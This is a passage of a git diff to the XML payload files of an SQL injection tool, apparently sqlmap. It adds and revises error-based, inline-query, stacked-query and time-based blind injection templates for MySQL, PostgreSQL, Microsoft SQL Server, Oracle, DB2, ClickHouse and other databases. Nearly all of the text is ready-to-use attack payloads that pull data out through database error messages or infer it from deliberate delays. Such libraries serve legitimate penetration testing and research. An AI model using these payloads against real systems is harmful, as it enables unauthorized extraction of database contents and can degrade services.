@@ -853,7 +1394,7 @@ 1 1,3 3 - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -883,139 +1424,178 @@ Firebird + + + IBM DB2 error-based - Parameter replace + 2 + 4 + 1 + 1,3 + 3 + RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ - MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause + MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) 2 - 3 + 5 1 2,3 1 - ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) - - ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.0 + >= 5.5
- MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) + MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP) 2 - 4 + 5 1 2,3 1 - ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s) - - ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.5
- MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML) + MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET) + 2 + 3 + 1 + 2,3 + 1 + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+ + + + MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS) 2 5 1 2,3 1 - ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x) - - ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.7.8
- MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP) + MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 5 1 2,3 1 - ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) - ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.0
- MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) + MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) + 2 + 3 + 1 + 2,3 + 1 + ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML) 2 5 1 2,3 1 - ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) - - ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.1
- MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause + MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 - 2 + 5 1 2,3 1 - ,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) - - ,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1026,7 +1606,6 @@ - PostgreSQL error-based - ORDER BY, GROUP BY clause 2 @@ -1072,9 +1651,9 @@ 1 3 1 - ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) + ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) - ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1082,7 +1661,6 @@
Microsoft SQL Server Sybase - Windows
@@ -1093,7 +1671,7 @@ 1 2,3 1 - ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -1110,7 +1688,7 @@ 2 5 1 - 2,3 + 3 1 ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) @@ -1123,9 +1701,67 @@ Firebird - + + + IBM DB2 error-based - ORDER BY clause + 2 + 5 + 1 + 3 + 1 + ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ + + + + Microsoft SQL Server error-based - Stacking (RAISERROR) + 2 + 2 + 1 + 1-8 + 1 + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1) + + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1) + -- + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server +
+ + + + Microsoft SQL Server/Sybase error-based - Stacking (EXEC) + 2 + 2 + 1 + 1-8 + 1 + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] + + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] + -- + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + diff --git a/xml/payloads/03_inline_query.xml b/data/xml/payloads/inline_query.xml similarity index 64% rename from xml/payloads/03_inline_query.xml rename to data/xml/payloads/inline_query.xml index b49d538346b..5b28c05a80d 100644 --- a/xml/payloads/03_inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -3,19 +3,31 @@ - MySQL inline queries + Generic inline queries 3 1 1 1,2,3,8 3 + (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) + + (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + + + + + MySQL inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -28,7 +40,7 @@ PostgreSQL inline queries 3 - 1 + 2 1 1,2,3,8 3 @@ -47,13 +59,13 @@ Microsoft SQL Server/Sybase inline queries 3 - 1 + 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -61,7 +73,6 @@
Microsoft SQL Server Sybase - Windows
@@ -74,7 +85,8 @@ 3 (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) + + (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -93,7 +105,7 @@ 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' - SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' + SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -121,5 +133,25 @@ Firebird + + + ClickHouse inline queries + 3 + 3 + 1 + 1,2,3,8 + 3 + ('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') + + ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+ + diff --git a/xml/payloads/04_stacked_queries.xml b/data/xml/payloads/stacked_queries.xml similarity index 87% rename from xml/payloads/04_stacked_queries.xml rename to data/xml/payloads/stacked_queries.xml index 45ce87a9fb6..b882f158d23 100644 --- a/xml/payloads/04_stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -3,15 +3,15 @@ - MySQL > 5.0.11 stacked queries (SELECT - comment) + MySQL >= 5.0.12 stacked queries (comment) 4 - 1 + 2 1 - 0 + 1-8 1 - ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + ;SELECT SLEEP([SLEEPTIME]) # @@ -19,40 +19,40 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries (SELECT) + MySQL >= 5.0.12 stacked queries 4 - 2 + 3 1 - 0 + 1-8 1 - ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + ;SELECT SLEEP([SLEEPTIME])
MySQL - > 5.0.11 + >= 5.0.12
- - MySQL > 5.0.11 stacked queries (comment) + + MySQL >= 5.0.12 stacked queries (query SLEEP - comment) 4 - 2 + 3 1 - 0 + 1-8 1 - ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - ;SELECT SLEEP([SLEEPTIME]) + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -60,36 +60,36 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries + MySQL >= 5.0.12 stacked queries (query SLEEP) 4 - 3 + 4 1 - 0 + 1-8 1 - ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - ;SELECT SLEEP([SLEEPTIME]) + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL - > 5.0.11 + >= 5.0.12
- MySQL < 5.0.12 stacked queries (heavy query - comment) + MySQL < 5.0.12 stacked queries (BENCHMARK - comment) 4 - 2 + 3 2 - 0 + 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -105,11 +105,11 @@ - MySQL < 5.0.12 stacked queries (heavy query) + MySQL < 5.0.12 stacked queries (BENCHMARK) 4 - 4 + 5 2 - 0 + 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -128,7 +128,7 @@ 4 1 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -149,7 +149,7 @@ 4 4 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -169,7 +169,7 @@ 4 2 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -189,7 +189,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -207,8 +207,8 @@ PostgreSQL < 8.2 stacked queries (Glibc - comment) 4 3 - 1 - 0 + 3 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -229,8 +229,8 @@ PostgreSQL < 8.2 stacked queries (Glibc) 4 5 - 1 - 0 + 3 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -251,7 +251,7 @@ 4 1 1 - 0 + 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' @@ -264,7 +264,27 @@
Microsoft SQL Server Sybase - Windows +
+ + + + Microsoft SQL Server/Sybase stacked queries (DECLARE - comment) + 4 + 2 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + -- + + + + +
+ Microsoft SQL Server + Sybase
@@ -273,7 +293,7 @@ 4 4 1 - 0 + 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' @@ -285,7 +305,26 @@
Microsoft SQL Server Sybase - Windows +
+ + + + Microsoft SQL Server/Sybase stacked queries (DECLARE) + 4 + 5 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + + + + +
+ Microsoft SQL Server + Sybase
@@ -294,7 +333,7 @@ 4 1 1 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL @@ -314,7 +353,7 @@ 4 4 1 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL @@ -333,7 +372,7 @@ 4 2 2 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL @@ -353,7 +392,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL @@ -372,7 +411,7 @@ 4 4 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END @@ -392,7 +431,7 @@ 4 5 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END @@ -411,7 +450,7 @@ 4 5 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END @@ -431,7 +470,7 @@ 4 5 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END @@ -447,10 +486,10 @@ IBM DB2 stacked queries (heavy query - comment) - 5 + 4 3 2 - 1,2,3 + 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) @@ -467,10 +506,10 @@ IBM DB2 stacked queries (heavy query) - 5 + 4 5 2 - 1,2,3 + 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) @@ -489,7 +528,7 @@ 4 3 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -510,7 +549,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -530,7 +569,7 @@ 4 4 2 - 0 + 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE @@ -551,7 +590,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE @@ -568,10 +607,10 @@ SAP MaxDB stacked queries (heavy query - comment) - 5 + 4 4 2 - 1,2,3 + 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 @@ -588,10 +627,10 @@ SAP MaxDB stacked queries (heavy query) - 5 + 4 5 2 - 1,2,3 + 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 @@ -610,7 +649,7 @@ 4 4 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END @@ -631,7 +670,7 @@ 4 5 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END @@ -651,7 +690,7 @@ 4 4 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END @@ -672,7 +711,7 @@ 4 5 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END diff --git a/xml/payloads/05_time_blind.xml b/data/xml/payloads/time_blind.xml similarity index 75% rename from xml/payloads/05_time_blind.xml rename to data/xml/payloads/time_blind.xml index e8993f92bf3..65d854c2332 100644 --- a/xml/payloads/05_time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -2,16 +2,18 @@ + + - MySQL >= 5.0.12 AND time-based blind (SELECT) + MySQL >= 5.0.12 AND time-based blind (query SLEEP) 5 1 1 - 1,2,3 + 1,2,3,8,9 1 - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -23,15 +25,15 @@ - MySQL >= 5.0.12 OR time-based blind (SELECT) + MySQL >= 5.0.12 OR time-based blind (query SLEEP) 5 1 3 - 1,2,3 + 1,2,3,9 1 - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + 